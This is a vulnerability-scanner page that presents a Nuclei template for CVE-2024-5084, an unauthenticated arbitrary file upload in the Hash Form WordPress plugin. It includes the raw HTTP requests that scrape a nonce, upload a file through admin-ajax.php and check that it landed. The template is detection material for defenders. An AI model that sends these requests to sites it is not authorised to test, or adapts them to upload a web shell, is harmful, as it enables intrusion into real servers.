Hash Form <= 1.1.0 - Arbitrary File Upload
ID: CVE-2024-5084
Severity: critical
Author: s4e-io
Tags: cve,cve2024,wp-plugin,wordpress,file-upload,rce,intrusive
Description
Section titled “Description”The Hash Form Drag & Drop Form Builder plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the ‘file_upload_action’ function in all versions up to, and including, 1.1.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site’s server which may make remote code execution possible.
YAML Source
Section titled “YAML Source”id: CVE-2024-5084
info: name: Hash Form <= 1.1.0 - Arbitrary File Upload author: s4e-io severity: critical description: | The Hash Form Drag & Drop Form Builder plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'file_upload_action' function in all versions up to, and including, 1.1.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible. remediation: Fixed in 1.1.1 reference: - https://nvd.nist.gov/vuln/detail/CVE-2024-5084 - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/hash-form/hash-form-drag-drop-form-builder-110-unauthenticated-arbitrary-file-upload-to-remote-code-execution - https://github.com/WOOOOONG/CVE-2024-5084/blob/main/CVE-2024-5084_exploit.py classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2024-5084 epss-score: 0.00063 epss-percentile: 0.27036 metadata: verified: true max-request: 1 vendor: HashThemes product: Hash Form framework: wordpress publicwww-query: "/wp-content/plugins/hash-form/" tags: cve,cve2024,wp-plugin,wordpress,file-upload,rce,intrusive
variables: filename: "{{rand_base(5)}}" num: "{{rand_int(1000, 9999)}}"
http: - raw: - | GET / HTTP /1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded
- | POST /wp-admin/admin-ajax.php?action=hashform_file_upload_action&file_uploader_nonce={{nonce}}&allowedExtensions%5B0%5D=txt&sizeLimit=1048576&qqfile={{filename}}.txt HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded
{{md5(num)}}
- | GET /wp-content/uploads/hashform/temp/{{filename}}.txt HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded
matchers: - type: dsl dsl: - 'contains_all(body_2,"success","true","url") && status_code_2 == 200' - 'contains(body_3,"{{md5(num)}}") && status_code_3 == 200' condition: and
extractors: - type: regex name: nonce part: body group: 1 regex: - '"ajax_nounce":"([0-9a-z]+)","preview_img' internal: true# digest: 490a00463044022001f84904500e536594388745f24a7b25a36649bda563590c3b339fc319f0cbd002203339479b51878e5a8970f3da629ab5d656d69eb747d58f77551406c85fdaf21d:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-5084.yaml"